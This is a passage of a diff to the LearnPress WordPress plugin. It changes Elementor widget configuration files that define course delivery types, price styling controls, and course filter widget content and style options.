+ * @since 4.2.7
+ * @version 1.0.0
+ */
+
+$options = [
+	'private_1_1'     => esc_html__( 'Private 1-1', 'learnpress' ),
+	'in_person_class' => esc_html__( 'In-person class', 'learnpress' ),
+	'live_class'      => esc_html__( 'Live class', 'learnpress' ),
+];
+
+return apply_filters( 'learn-press/course/deliver-type', $options );
--- a/learnpress/config/elementor/course/course-price.php
+++ b/learnpress/config/elementor/course/course-price.php
@@ -1,112 +1,112 @@
-<?php
-/**
- * Elementor Controls for widget Course price settings.
- *
- * @since 4.2.3
- * @version 1.0.0
- */
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Typography;
-use LearnPressExternalPluginElementorLPElementorControls;
-
-$style_fields = array_merge(
-	LPElementorControls::add_fields_in_section(
-		'style_regular_price',
-        esc_html__( 'Regular Price', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		[
-			'price_align'         => LPElementorControls::add_responsive_control_type(
-				'price_align',
-				__( 'Alignment', 'learnpress' ),
-				'left',
-				Controls_Manager::CHOOSE,
-				[
-					'options'   => [
-						'left'   => [
-							'title' => esc_html__( 'Left', 'learnpress' ),
-							'icon'  => 'eicon-text-align-left',
-						],
-						'center' => [
-							'title' => esc_html__( 'Center', 'learnpress' ),
-							'icon'  => 'eicon-text-align-center',
-						],
-						'right'  => [
-							'title' => esc_html__( 'Right', 'learnpress' ),
-							'icon'  => 'eicon-text-align-right',
-						],
-					],
-					'toggle'    => false,
-					'selectors' => [
-						'{{WRAPPER}}' => 'text-align: {{VALUE}};',
-					],
-				]
-			),
-			'regular_price_color'       => LPElementorControls::add_control_type_color(
-				'regular_price_color',
-				esc_html__( 'Color', 'learnpress' ),
-				[
-					'{{WRAPPER}} .course-item-price' => 'color: {{VALUE}};',
-				]
-			),
-			'regular_price_typography'    => LPElementorControls::add_group_control_type(
-				'regular_price_typography',
-				Group_Control_Typography::get_type(),
-				'{{WRAPPER}} .course-item-price'
-			),
-		]
-    ),
-    LPElementorControls::add_fields_in_section(
-		'style_origin_price',
-        esc_html__( 'Origin Price', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		[
-			'origin_price_color'       => LPElementorControls::add_control_type_color(
-				'origin_price_color',
-				esc_html__( 'Color', 'learnpress' ),
-				[
-					'{{WRAPPER}} .course-item-price .origin-price' => 'color: {{VALUE}};',
-				]
-			),
-			'origin_price_typography'    => LPElementorControls::add_group_control_type(
-				'origin_price_typography',
-				Group_Control_Typography::get_type(),
-				'{{WRAPPER}} .course-item-price .origin-price'
-			),
-			'origin_price_padding'       => LPElementorControls::add_responsive_control_type(
-				'origin_price_padding',
-				esc_html__( 'Padding', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .course-item-price .origin-price' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			)
-		]
-	),
-	LPElementorControls::add_fields_in_section(
-		'style_free_price',
-        esc_html__( 'Free Price', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		[
-			'free_price_color'       => LPElementorControls::add_control_type_color(
-				'free_price_color',
-				esc_html__( 'Color', 'learnpress' ),
-				[
-					'{{WRAPPER}} .course-item-price .free' => 'color: {{VALUE}};',
-				]
-			)
-		]
-	)
-);
-
-return apply_filters(
-	'learn-press/elementor/course-price',
-	apply_filters(
-		'learn-press/elementor/course-price/tab-styles',
-		$style_fields
-	)
-);
+<?php
+/**
+ * Elementor Controls for widget Course price settings.
+ *
+ * @since 4.2.3
+ * @version 1.0.0
+ */
+
+use ElementorControls_Manager;
+use ElementorGroup_Control_Typography;
+use LearnPressExternalPluginElementorLPElementorControls;
+
+$style_fields = array_merge(
+	LPElementorControls::add_fields_in_section(
+		'style_regular_price',
+        esc_html__( 'Regular Price', 'learnpress' ),
+		Controls_Manager::TAB_STYLE,
+		[
+			'price_align'         => LPElementorControls::add_responsive_control_type(
+				'price_align',
+				__( 'Alignment', 'learnpress' ),
+				'left',
+				Controls_Manager::CHOOSE,
+				[
+					'options'   => [
+						'left'   => [
+							'title' => esc_html__( 'Left', 'learnpress' ),
+							'icon'  => 'eicon-text-align-left',
+						],
+						'center' => [
+							'title' => esc_html__( 'Center', 'learnpress' ),
+							'icon'  => 'eicon-text-align-center',
+						],
+						'right'  => [
+							'title' => esc_html__( 'Right', 'learnpress' ),
+							'icon'  => 'eicon-text-align-right',
+						],
+					],
+					'toggle'    => false,
+					'selectors' => [
+						'{{WRAPPER}}' => 'text-align: {{VALUE}};',
+					],
+				]
+			),
+			'regular_price_color'       => LPElementorControls::add_control_type_color(
+				'regular_price_color',
+				esc_html__( 'Color', 'learnpress' ),
+				[
+					'{{WRAPPER}} .course-item-price' => 'color: {{VALUE}};',
+				]
+			),
+			'regular_price_typography'    => LPElementorControls::add_group_control_type(
+				'regular_price_typography',
+				Group_Control_Typography::get_type(),
+				'{{WRAPPER}} .course-item-price'
+			),
+		]
+    ),
+    LPElementorControls::add_fields_in_section(
+		'style_origin_price',
+        esc_html__( 'Origin Price', 'learnpress' ),
+		Controls_Manager::TAB_STYLE,
+		[
+			'origin_price_color'       => LPElementorControls::add_control_type_color(
+				'origin_price_color',
+				esc_html__( 'Color', 'learnpress' ),
+				[
+					'{{WRAPPER}} .course-item-price .origin-price' => 'color: {{VALUE}};',
+				]
+			),
+			'origin_price_typography'    => LPElementorControls::add_group_control_type(
+				'origin_price_typography',
+				Group_Control_Typography::get_type(),
+				'{{WRAPPER}} .course-item-price .origin-price'
+			),
+			'origin_price_padding'       => LPElementorControls::add_responsive_control_type(
+				'origin_price_padding',
+				esc_html__( 'Padding', 'learnpress' ),
+				[],
+				Controls_Manager::DIMENSIONS,
+				[
+					'size_units' => [ 'px', '%', 'custom' ],
+					'selectors'  => array(
+						'{{WRAPPER}} .course-item-price .origin-price' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+					),
+				]
+			)
+		]
+	),
+	LPElementorControls::add_fields_in_section(
+		'style_free_price',
+        esc_html__( 'Free Price', 'learnpress' ),
+		Controls_Manager::TAB_STYLE,
+		[
+			'free_price_color'       => LPElementorControls::add_control_type_color(
+				'free_price_color',
+				esc_html__( 'Color', 'learnpress' ),
+				[
+					'{{WRAPPER}} .course-item-price .free' => 'color: {{VALUE}};',
+				]
+			)
+		]
+	)
+);
+
+return apply_filters(
+	'learn-press/elementor/course-price',
+	apply_filters(
+		'learn-press/elementor/course-price/tab-styles',
+		$style_fields
+	)
+);
--- a/learnpress/config/elementor/course/filter-course-el.php
+++ b/learnpress/config/elementor/course/filter-course-el.php
@@ -1,780 +1,780 @@
-<?php
-/**
- * Elementor Controls for widget filter course settings.
- *
- * @since 4.2.5
- * @version 1.0.0
- */
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Border;
-use ElementorGroup_Control_Box_Shadow;
-use LearnPressExternalPluginElementorLPElementorControls;
-
-$content_fields = array_merge(
-	LPElementorControls::add_fields_in_section(
-		'filter_area',
-		esc_html__( 'Filter Area', 'learnpress' ),
-		Controls_Manager::TAB_CONTENT,
-		[
-			LPElementorControls::add_control_type(
-				'item_filter',
-				esc_html__( 'Fields', 'learnpress' ),
-				[
-					[
-						'item_fields' => 'category',
-					],
-					[
-						'item_fields' => 'btn_submit',
-					],
-				],
-				Controls_Manager::REPEATER,
-				[
-					'fields'        => [
-						[
-							'name'    => 'item_fields',
-							'label'   => esc_html__( 'Filter By', 'learnpress' ),
-							'type'    => Controls_Manager::SELECT,
-							'options' => array(
-								'search'     => esc_html__( 'Keyword', 'learnpress' ),
-								'price'      => esc_html__( 'Price', 'learnpress' ),
-								'category'   => esc_html__( 'Course Category', 'learnpress' ),
-								'tag'        => esc_html__( 'Course Tag', 'learnpress' ),
-								'author'     => esc_html__( 'Author', 'learnpress' ),
-								'level'      => esc_html__( 'Level', 'learnpress' ),
-								'btn_submit' => esc_html__( 'Button Submit', 'learnpress' ),
-								'btn_reset'  => esc_html__( 'Button Reset', 'learnpress' ),
-							),
-						],
-						// [
-						// 	'name'      => 'type_source',
-						// 	'label'     => esc_html__( 'Type Source', 'learnpress' ),
-						// 	'type'      => Controls_Manager::SELECT,
-						// 	'default'   => 'checkbox',
-						// 	'options'   => array(
-						// 		'checkbox' => esc_html__( 'Check Box', 'learnpress' ),
-						// 		'dropdown' => esc_html__( 'Drop Down (Coming Soon)', 'learnpress' ),
-						// 	),
-						// 	'condition' => [
-						// 		'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
-						// 	],
-						// ],
-						[
-							'name'         => 'enable_count',
-							'label'        => esc_html__( 'Show Count', 'learnpress' ),
-							'type'         => Controls_Manager::SWITCHER,
-							'default'      => 'yes',
-							'label_on'     => esc_html__( 'Show', 'learnpress' ),
-							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-							'return_value' => 'yes',
-							'condition'    => [
-								'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
-							],
-						],
-						[
-							'name'         => 'heading_setting',
-							'label'        => esc_html__( 'Heading Setting', 'learnpress' ),
-							'type'         => Controls_Manager::POPOVER_TOGGLE,
-							'label_off'    => esc_html__( 'Default', 'learnpress' ),
-							'label_on'     => esc_html__( 'Custom', 'learnpress' ),
-							'return_value' => 'yes',
-							'condition'    => [
-								'item_fields!' => [ 'btn_submit', 'btn_reset' ],
-							],
-						],
-						[ 'method' => 'start_popover' ],
-						[
-							'name'         => 'enable_heading',
-							'label'        => esc_html__( 'Enable Heading', 'learnpress' ),
-							'type'         => Controls_Manager::SWITCHER,
-							'default'      => 'yes',
-							'label_on'     => esc_html__( 'Show', 'learnpress' ),
-							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-							'return_value' => 'yes',
-						],
-						[
-							'name'         => 'toggle_content',
-							'label'        => esc_html__( 'Toggle Content', 'learnpress' ),
-							'type'         => Controls_Manager::SWITCHER,
-							'default'      => 'no',
-							'label_on'     => esc_html__( 'Show', 'learnpress' ),
-							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-							'return_value' => 'yes',
-							'condition'    => [
-								'enable_heading' => 'yes',
-							],
-						],
-						[
-							'name'         => 'default_toggle_on',
-							'label'        => esc_html__( 'Default Toggle On', 'learnpress' ),
-							'type'         => Controls_Manager::SWITCHER,
-							'default'      => 'yes',
-							'label_on'     => esc_html__( 'Show', 'learnpress' ),
-							'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-							'return_value' => 'yes',
-							'condition'    => [
-								'enable_heading' => 'yes',
-								'toggle_content' => 'yes',
-							],
-						],
-						[ 'method' => 'end_popover' ],
-					],
-					'prevent_empty' => false,
-					'title_field'   => '{{{ item_fields }}}',
-				]
-			),
-		]
-	),
-	LPElementorControls::add_fields_in_section(
-		'extra_option',
-		esc_html__( 'Extra Option', 'learnpress' ),
-		Controls_Manager::TAB_CONTENT,
-		[
-			LPElementorControls::add_control_type(
-				'show_in_rest',
-				esc_html__( 'Load widget via REST', 'learnpress' ),
-				'no',
-				Controls_Manager::SWITCHER,
-				[
-					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
-					'label_off'    => esc_html__( 'No', 'learnpress' ),
-					'return_value' => 'yes',
-				]
-			),
-			LPElementorControls::add_control_type(
-				'search_suggestion',
-				esc_html__( 'Enable Keyword Search Suggestion', 'learnpress' ),
-				'0',
-				Controls_Manager::SWITCHER,
-				[
-					'1'            => esc_html__( 'Yes', 'learnpress' ),
-					'0'            => esc_html__( 'No', 'learnpress' ),
-					'return_value' => '1',
-				]
-			),
-			LPElementorControls::add_control_type(
-				'filter_toggle_button',
-				esc_html__( 'Filter Toggle Button', 'learnpress' ),
-				'no',
-				Controls_Manager::POPOVER_TOGGLE,
-				[
-					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
-					'label_off'    => esc_html__( 'No', 'learnpress' ),
-					'return_value' => 'yes',
-				]
-			),
-			'popover_start' => [
-				'method' => 'start_popover',
-			],
-			LPElementorControls::add_control_type(
-				'enable_filter_button',
-				esc_html__( 'Filter Toggle Button', 'learnpress' ),
-				'no',
-				Controls_Manager::SWITCHER,
-				[
-					'label_on'     => esc_html__( 'Show', 'learnpress' ),
-					'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-					'return_value' => 'yes',
-				]
-			),
-			LPElementorControls::add_control_type(
-				'text_filter_button',
-				esc_html__( 'Text Button', 'learnpress' ),
-				esc_html__( 'Filter', 'learnpress' ),
-				Controls_Manager::TEXT,
-				[
-					'label_block' => false,
-					'condition'   => [
-						'enable_filter_button' => 'yes',
-					]
-				]
-			),
-			LPElementorControls::add_control_type(
-				'enable_icon_filter_button',
-				esc_html__( 'Button Icon', 'learnpress' ),
-				'no',
-				Controls_Manager::SWITCHER,
-				[
-					'label_on'     => esc_html__( 'Show', 'learnpress' ),
-					'label_off'    => esc_html__( 'Hide', 'learnpress' ),
-					'return_value' => 'yes',
-					'condition'    => [
-						'enable_filter_button' => 'yes',
-					]
-				]
-			),
-			LPElementorControls::add_control_type(
-				'icon_filter_button',
-				esc_html__( 'Icon', 'learnpress' ),
-				[],
-				Controls_Manager::ICONS,
-				[
-					'skin'        => 'inline',
-					'label_block' => false,
-					'condition'   => [
-						'enable_filter_button'      => 'yes',
-						'enable_icon_filter_button' => 'yes',
-					]
-				]
-			),
-			LPElementorControls::add_control_type_select(
-				'icon_position',
-				esc_html__( 'Icon Position', 'learnpress' ),
-				[
-					'left'  => esc_html__( 'Before', 'learnpress' ),
-					'right' => esc_html__( 'After', 'learnpress' ),
-				],
-				'left',
-				[
-					'condition' => [
-						'enable_filter_button'      => 'yes',
-						'enable_icon_filter_button' => 'yes',
-					]
-				]
-			),
-			LPElementorControls::add_control_type(
-				'filter_selected_number',
-				esc_html__( 'Filter Selected Number', 'learnpress' ),
-				'yes',
-				Controls_Manager::SWITCHER,
-				[
-					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
-					'label_off'    => esc_html__( 'No', 'learnpress' ),
-					'return_value' => 'yes',
-					'condition'    => [
-						'enable_filter_button' => 'yes',
-					]
-				]
-            ),
-            LPElementorControls::add_responsive_control_type(
-                "filter_section_width",
-                esc_html__( 'Width', 'learnpress' ),
-                [
-                    'size' => 300,
-                ],
-                Controls_Manager::SLIDER,
-                [
-                    'size_units' => array( 'px', '%', 'custom' ),
-                    'range'      => array(
-                        'px' => array(
-                            'min' => 1,
-                            'max' => 1000,
-                            'step'=> 5
-                        ),
-                    ),
-                    'selectors'  => array(
-                        '{{WRAPPER}} .lp-form-course-filter' => 'width: {{SIZE}}{{UNIT}};',
-                    ),
-                    'condition' => [
-                        'enable_filter_button'    => 'yes',
-                    ]
-                ]
-            ),
-            'popover_end' => [
-                'method' => 'end_popover',
-            ],
-			LPElementorControls::add_control_type(
-				'filter_selected_list',
-				esc_html__( 'Filter Selected List', 'learnpress' ),
-				'no',
-				Controls_Manager::SWITCHER,
-				[
-					'label_on'     => esc_html__( 'Yes', 'learnpress' ),
-					'label_off'    => esc_html__( 'No', 'learnpress' ),
-					'return_value' => 'yes',
-				]
-			),
-		]
-	),
-	[]
-);
-
-$style_fields = array_merge(
-	LPElementorControls::add_fields_in_section(
-		'filter_section',
-		esc_html__( 'Section', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		[
-			'filter_section_margin'     => LPElementorControls::add_responsive_control_type(
-				'filter_section_margin',
-				esc_html__( 'Margin', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-			'filter_section_padding'    => LPElementorControls::add_responsive_control_type(
-				'filter_section_padding',
-				esc_html__( 'Padding', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-			'filter_section_border'     => LPElementorControls::add_group_control_type(
-				'filter_section_border',
-				Group_Control_Border::get_type(),
-				'{{WRAPPER}} .lp-form-course-filter'
-			),
-			'filter_section_background' => LPElementorControls::add_control_type_color(
-				'filter_section_background',
-				esc_html__( 'Background', 'learnpress' ),
-				[ '{{WRAPPER}} .lp-form-course-filter' => 'background: {{VALUE}}' ]
-			),
-			'filter_section_radius'     => LPElementorControls::add_responsive_control_type(
-				'filter_section_radius',
-				esc_html__( 'Radius', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-			'filter_section_Shadow'     => LPElementorControls::add_group_control_type(
-				'filter_section_Shadow',
-				Group_Control_Box_Shadow::get_type(),
-				'{{WRAPPER}} .lp-form-course-filter'
-			),
-		]
-	),
-	LPElementorControls::add_fields_in_section(
-		'filter_item',
-		esc_html__( 'Item', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		[
-			'item_margin'     => LPElementorControls::add_responsive_control_type(
-				'item_margin',
-				esc_html__( 'Margin', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter__item' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-			'item_padding'    => LPElementorControls::add_responsive_control_type(
-				'item_padding',
-				esc_html__( 'Padding', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter__item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-			'item_border'     => LPElementorControls::add_group_control_type(
-				'item_border',
-				Group_Control_Border::get_type(),
-				'{{WRAPPER}} .lp-form-course-filter__item'
-			),
-			'item_background' => LPElementorControls::add_control_type_color(
-				'layout_background',
-				esc_html__( 'Background', 'learnpress' ),
-				[ '{{WRAPPER}} .lp-form-course-filter__item' => 'background: {{VALUE}}' ]
-			),
-			'item_radius'     => LPElementorControls::add_responsive_control_type(
-				'item_radius',
-				esc_html__( 'Radius', 'learnpress' ),
-				[],
-				Controls_Manager::DIMENSIONS,
-				[
-					'size_units' => [ 'px', '%', 'custom' ],
-					'selectors'  => array(
-						'{{WRAPPER}} .lp-form-course-filter__item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-					),
-				]
-			),
-            'toggle_offset_x'    => LPElementorControls::add_responsive_control_type(
-                'toggle_offset_x',
-                esc_html__( 'Toggle Offset X (px)', 'learnpress' ),
-                '',
-                Controls_Manager::NUMBER,
-                [
-                    'label_block' => false,
-                    'selectors'   => array(
-                        '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'right:{{VALUE}}px',
-                    ),
-                ]
-            ),
-            'toggle_offset_y'    => LPElementorControls::add_responsive_control_type(
-                'toggle_offset_y',
-                esc_html__( 'Toggle Offset Y (px)', 'learnpress' ),
-                '',
-                Controls_Manager::NUMBER,
-                [
-                    'label_block' => false,
-                    'selectors'   => array(
-                        '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'top:{{VALUE}}px',
-                    ),
-                ]
-            ),
-		]
-	),
-	LPElementorControls::add_fields_in_section(
-		'filter_title',
-		esc_html__( 'Title', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		LPElementorControls::add_controls_style_text(
-			'filter_title',
-			'.lp-form-course-filter .lp-form-course-filter__title',
-			[],
-			[ 'text_display','text_background', 'text_background_hover' ]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'filter_content',
-		esc_html__( 'Label', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		array_merge(
-			LPElementorControls::add_controls_style_text(
-				'filter_content',
-				'.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content label',
-				[],
-				[ 'text_display', 'text_shadow', 'text_background', 'text_background_hover' ]
-			),
-			[
-				'horizontal_align' => LPElementorControls::add_responsive_control_type(
-					'horizontal_align',
-					esc_html__( 'Horizontal Align', 'learnpress' ),
-					'',
-					Controls_Manager::CHOOSE,
-					[
-						'options'   => [
-							'row-reverse' => [
-								'title' => esc_html__( 'Left', 'learnpress' ),
-								'icon'  => 'eicon-h-align-left',
-							],
-							'row'         => [
-								'title' => esc_html__( 'Right', 'learnpress' ),
-								'icon'  => 'eicon-h-align-right',
-							],
-						],
-						'selectors' => [
-							'{{WRAPPER}} .lp-form-course-filter__item .lp-form-course-filter__content .lp-course-filter__field' => 'flex-direction: {{VALUE}};',
-						],
-					]
-				),
-			]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'filter_count',
-		esc_html__( 'Count', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		LPElementorControls::add_controls_style_text(
-			'filter_count',
-			'.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content .count',
-			[],
-			[ 'text_display','text_shadow', 'text_background', 'text_background_hover' ]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'input_search',
-		esc_html__( 'Search', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		LPElementorControls::add_controls_style_button(
-			'input_search',
-			'.lp-form-course-filter__content .lp-course-filter-search-field input',
-			[],
-			[ 'text_display','text_shadow', 'text_color_hover', 'text_background', 'text_background_hover' ]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'btn_submit',
-		esc_html__( 'Button Submit', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		LPElementorControls::add_controls_style_button(
-			'btn_submit',
-			'.course-filter-submit',
-			[
-				'btn_submit_align' => LPElementorControls::add_responsive_control_type(
-					'btn_submit_align',
-					esc_html__( 'Alignment', 'learnpress' ),
-					'',
-					Controls_Manager::CHOOSE,
-					[
-						'options'   => [
-							'left'   => [
-								'title' => esc_html__( 'Left', 'learnpress' ),
-								'icon'  => 'eicon-text-align-left',
-							],
-							'center' => [
-								'title' => esc_html__( 'Center', 'learnpress' ),
-								'icon'  => 'eicon-text-align-center',
-							],
-							'right'  => [
-								'title' => esc_html__( 'Right', 'learnpress' ),
-								'icon'  => 'eicon-text-align-right',
-							],
-						],
-						'selectors' => [
-							'{{WRAPPER}} .course-filter-submit' => 'text-align: {{VALUE}};',
-						],
-					]
-				),
-				'btn_submit_width' => LPElementorControls::add_responsive_control_type(
-					'btn_submit_width',
-					esc_html__( 'Width', 'learnpress' ),
-					[],
-					Controls_Manager::SLIDER,
-					[
-						'size_units' => array( 'px', '%', 'custom' ),
-						'range'      => array(
-							'px' => array(
-								'min'  => 1,
-								'max'  => 500,
-								'step' => 5,
-							),
-						),
-						'selectors'  => array(
-							'{{WRAPPER}} .course-filter-submit' => 'width: {{SIZE}}{{UNIT}};',
-						),
-					]
-				),
-			],
-			[ 'text_display' ]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'btn_reset',
-		esc_html__( 'Button Reset', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		LPElementorControls::add_controls_style_button(
-			'btn_reset',
-			'.course-filter-reset',
-			[
-				'btn_reset_align'    => LPElementorControls::add_responsive_control_type(
-					'btn_reset_align',
-					esc_html__( 'Alignment', 'learnpress' ),
-					'',
-					Controls_Manager::CHOOSE,
-					[
-						'options'   => [
-							'left'   => [
-								'title' => esc_html__( 'Left', 'learnpress' ),
-								'icon'  => 'eicon-text-align-left',
-							],
-							'center' => [
-								'title' => esc_html__( 'Center', 'learnpress' ),
-								'icon'  => 'eicon-text-align-center',
-							],
-							'right'  => [
-								'title' => esc_html__( 'Right', 'learnpress' ),
-								'icon'  => 'eicon-text-align-right',
-							],
-						],
-						'selectors' => [
-							'{{WRAPPER}} .course-filter-reset' => 'text-align: {{VALUE}};',
-						],
-					]
-				),
-				'btn_reset_width'    => LPElementorControls::add_responsive_control_type(
-					'btn_reset_width',
-					esc_html__( 'Width', 'learnpress' ),
-					[],
-					Controls_Manager::SLIDER,
-					[
-						'size_units' => array( 'px', '%', 'custom' ),
-						'range'      => array(
-							'px' => array(
-								'min'  => 1,
-								'max'  => 500,
-								'step' => 5,
-							),
-						),
-						'selectors'  => array(
-							'{{WRAPPER}} .course-filter-reset' => 'width: {{SIZE}}{{UNIT}};',
-						),
-					]
-				),
-				'btn_reset_position' => LPElementorControls::add_control_type_select(
-					'btn_reset_position',
-					esc_html__( 'Position', 'learnpress' ),
-					[
-						'static'   => esc_html__( 'Static', 'learnpress' ),
-						'absolute' => esc_html__( 'Absolute', 'learnpress' ),
-					],
-					'static',
-					[
-						'selectors' => [
-							'{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'position: {{VALUE}};',
-						],
-					]
-				),
-				'reset_offset_x'     => LPElementorControls::add_responsive_control_type(
-					'reset_offset_x',
-					esc_html__( 'Offset X (px)', 'learnpress' ),
-					'',
-					Controls_Manager::NUMBER,
-					[
-						'label_block' => false,
-						'selectors'   => array(
-							'{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'right:{{VALUE}}px',
-						),
-						'condition'   => [
-							'btn_reset_position' => 'absolute',
-						],
-					]
-				),
-				'reset_offset_y'     => LPElementorControls::add_responsive_control_type(
-					'reset_offset_y',
-					esc_html__( 'Offset Y (px)', 'learnpress' ),
-					'',
-					Controls_Manager::NUMBER,
-					[
-						'label_block' => false,
-						'selectors'   => array(
-							'{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'top:{{VALUE}}px',
-						),
-						'condition'   => [
-							'btn_reset_position' => 'absolute',
-						],
-					]
-				),
-			],
-			[ 'text_display' ]
-		)
-	),
-	LPElementorControls::add_fields_in_section(
-		'btn_popup',
-		esc_html__( 'Button Popup', 'learnpress' ),
-		Controls_Manager::TAB_STYLE,
-		array_merge(
-			LPElementorControls::add_controls_style_button(
-				'btn_popup',
-				'.lp-button-popup',
-				[
-					'btn_popup_align' => LPElementorControls::add_responsive_control_type(
-						'btn_popup_align',
-						esc_html__( 'Alignment', 'learnpress' ),
-						'',
-						Controls_Manager::CHOOSE,
-						[
-							'options'   => [
-								'left'   => [
-									'title' => esc_html__( 'Left', 'learnpress' ),
-									'icon'  => 'eicon-text-align-left',
-								],
-								'center' => [
-									'title' => esc_html__( 'Center', 'learnpress' ),
-									'icon'  => 'eicon-text-align-center',
-								],
-								'right'  => [
-									'title' => esc_html__( 'Right', 'learnpress' ),
-									'icon'  => 'eicon-text-align-right',
-								],
-							],
-							'selectors' => [
-								'{{WRAPPER}} .lp-button-popup' => 'text-align: {{VALUE}};',
-							],
-						]
-					),
-					'btn_popup_width' => LPElementorControls::add_responsive_control_type(
-						'btn_popup_width',
-						esc_html__( 'Width', 'learnpress' ),
-						[],
-						Controls_Manager::SLIDER,
-						[
-							'size_units' => array( 'px', '%', 'custom' ),
-							'range'      => array(
-								'px' => array(
-									'min'  => 1,
-									'max'  => 500,
-									'step' => 5,
-								),
-							),
-							'selectors'  => array(
-								'{{WRAPPER}} .lp-button-popup' => 'width: {{SIZE}}{{UNIT}};',
-							),
-						]
-					),
-				],
-				[ 'text_display' ]
-			),
-			[
-				'heading_selected_list' => LPElementorControls::add_control_type(
-					'heading_selected_list',
-					esc_html__( 'Selected List', 'learnpress' ),
-					'',
-					Controls_Manager::HEADING,
-					[
-						'separator' => 'before',
-					]
-				),
-			],
-			LPElementorControls::add_controls_style_button(
-				'selected_list',
-				'.selected-list span',
-				[],
-				[ 'text_display', 'text_shadow' ]
-			),
-			[
-				'heading_selected_number' => LPElementorControls::add_control_type(
-					'heading_selected_number',
-					esc_html__( 'Selected Number', 'learnpress' ),
-					'',
-					Controls_Manager::HEADING,
-					[
-						'separator' => 'before',
-					]
-				),
-			],
-			LPElementorControls::add_controls_style_button(
-				'selected_number',
-				'.selected-filter',
-				[
-					'selected_number_width' => LPElementorControls::add_responsive_control_type(
-						'selected_number_width',
-						esc_html__( 'Width', 'learnpress' ),
-						[],
-						Controls_Manager::SLIDER,
-						[
-							'size_units' => array( 'px', '%', 'custom' ),
-							'range'      => array(
-								'px' => array(
-									'min'  => 1,
-									'max'  => 50,
-									'step' => 1,
-								),
-							),
-							'selectors'  => array(
-								'{{WRAPPER}} .selected-filter' => 'width: {{SIZE}}{{UNIT}};',
-							),
-						]
-					),
-				],
-				[ 'text_display', 'text_shadow' ]
-			)
-		)
-	)
-);
-
-
-return apply_filters(
-	'learn-press/elementor/course/filter-course-el',
-	array_merge(
-		apply_filters(
-			'learn-press/elementor/course/filter-course-el/tab-content',
-			$content_fields
-		),
-		apply_filters(
-			'learn-press/elementor/course/filter-course-el/tab-styles',
-			$style_fields
-		)
-	)
-);
+<?php
+/**
+ * Elementor Controls for widget filter course settings.
+ *
+ * @since 4.2.5
